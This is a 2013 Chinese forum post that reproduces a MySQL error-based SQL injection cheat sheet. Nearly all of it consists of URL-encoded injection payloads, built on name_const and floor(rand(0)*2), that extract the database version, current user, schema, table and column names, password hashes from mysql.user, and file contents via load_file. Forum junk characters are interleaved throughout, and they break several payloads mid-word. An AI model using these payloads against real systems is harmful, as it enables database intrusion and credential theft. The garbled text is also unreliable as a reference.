本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
. q) Y; x7 C% G) T$ _
% } I% X4 ~4 `, s
$ w1 \" [5 j/ c2 h: z* x+ _Mysql暴错注入参考(pdf),每天一贴。。。, Y$ G6 Z' a' C
. W* m! p+ [' l1 p4 Q' G
MySql Error Based Injection Reference7 p, o1 `: g- w4 z
[Mysql暴错注入参考]- u/ U+ h6 V& X9 r+ S
Authornig0s1992
9 n1 O e( ~- Y9 g! HBlog:http://pnig0s1992.blog.51cto.com/( n# c; }7 f. R9 |* D, ~
TeAm:http://www.FreeBuf.com/
& N* K6 T4 Z0 ZMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功1 R0 ^, b1 L% `( x7 w$ `
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
/ ?1 s, ~( { s4 l' M- N1 M查询版本:
8 B, ^6 U9 U% f: g, J BMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
7 u/ [) H" C# A# L+ Zjoin+(select+name_const(@@version,0))b)c), Y& P# \ h8 D3 A) p) ? b' Y; E5 b: ]
Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro% F1 e, V" X4 E' W0 j9 B5 p: C# q
up by a)b)
! h0 v2 |$ R! E0 T- x* y* \查询当前用户:. j( w$ b7 t/ f+ F+ N
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)) o; x$ o# W. y: o1 ^8 y" a; F
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r9 X" g; J" \9 c
and(0)*2))x+from+information_schema.tables+group+by+x)a)
7 c2 C" Z4 }; U T查询当前数据库:
3 G0 T x% |( g; b# U7 F9 ^Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
, I' B1 e: c+ p* S/ A mMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
, B# S0 B9 @0 F- ]4 A* P; M( L* ior(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
% _# C- T! W) `- [依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
, v" s4 s) m7 x! HLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
3 M+ f% F+ a6 K6 |9 N& ]! o顺序替换/ r" i, {$ ~* M0 U4 z8 i
爆指定库数目:
7 v. F. o% ]+ V! }5 d. Q3 B: _2 Z9 fand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t: r" ^3 }2 _; @5 Y
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group$ U6 c4 K [! }' i* V B6 w; H9 u
+by+x)a)+and+1=1 0x6D7973716C=mysql1 x& b- w! s6 T u) l! W
依次爆表:
! C# q6 K% q2 K+ I5 T* sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t) e" `" y a2 `- c
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
. P. Y; |5 W: o9 Gbles+group+by+x)a)+and+1=1, J. `1 e4 q' B0 q j
0x6D7973716C=Mysql 将n顺序替换
) _ E6 B8 | }4 ?. C9 k爆表内字段数目:& [5 Y4 i# ~ i
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
5 `4 d( T4 F6 h& f- L+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
' Y! z9 |5 n/ r# Z4 a! n7 l0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
R5 O( |% E! C& a: ], j依次爆字段:
; M" z# i5 f7 r& o+ {% k6 band+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
* z! H: m1 ^9 m) H$ \4 F! |+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
) e0 s% M0 B, mloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换2 X8 h; n* ^. y* j' @0 e4 [
依次暴内容:: u! m- I/ y. B5 D
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche, t. N8 h# P6 ^! i/ }: T
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=11 Y3 N, i5 P. l8 u0 s
将n顺序替换( Y& h" k7 n# k9 d/ m5 a
爆文件内容:
9 H I7 a1 q m1 R/ gand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a) }4 n% f% `) B1 h% M
from+information_schema.tables+group+by+a)b) 1 h; N( V6 {6 D9 l" L5 Z3 B
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
* z# G; P9 ^2 G! h( L y4 KThx for reading.
" r+ K+ K/ @( Y0 w4 }3 i; N8 P3 M n7 y+ [
不要下载也可以,
0 l' r u& p$ n4 J1 C8 _ |